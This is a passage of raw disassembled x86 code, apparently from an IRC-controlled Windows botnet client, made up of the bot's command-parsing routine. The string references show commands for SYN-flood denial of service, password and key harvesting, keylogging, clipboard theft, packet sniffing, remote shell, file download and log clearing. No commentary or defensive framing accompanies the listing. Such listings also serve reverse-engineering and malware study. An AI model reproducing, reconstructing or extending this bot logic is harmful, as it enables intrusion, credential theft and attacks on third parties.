		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_4380B8
		jnz	short loc_410249
		mov	eax, offset dword_438084

loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_437FC4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410448

loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_410432
; ---------------------------------------------------------------------------

loc_410448:				; CODE XREF: sub_40EE72+15BEj
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_437F78
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"

loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_437E4C

loc_410654:				; CODE XREF: sub_40EE72+5C58j
		call	sub_40BF6D
		jmp	loc_414F46
; ---------------------------------------------------------------------------

loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		push	edi
		push	offset aSad	; "sad"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B34
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B34
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE6
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE6
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AD1
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AD1
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA7
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA7
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8E
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8E
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FC
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FC
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139D0
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139D0
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413975
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413975
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41393A
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41393A
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413850
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413850
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413832
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413832
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413751
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413751
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413716
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413716
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136CB
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136CB
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413645
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413645
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_437B80
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]

loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437B40
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410C86

loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_410C70
; ---------------------------------------------------------------------------

loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset unk_437AF4
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_437AA8
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_437A70
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_437A18
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4379DC

loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_4379AC
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------

loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax

loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]

loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_43797C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410E3C

loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------

loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_437930

loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43F738, ebx
		jz	short loc_410EB2
		cmp	dword_43F760, ebx
		jz	short loc_410EB2
		push	offset dword_4378E0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------

loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_4378AC
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_43787C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1

loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1

loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------

loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_43782C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_4377FC
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
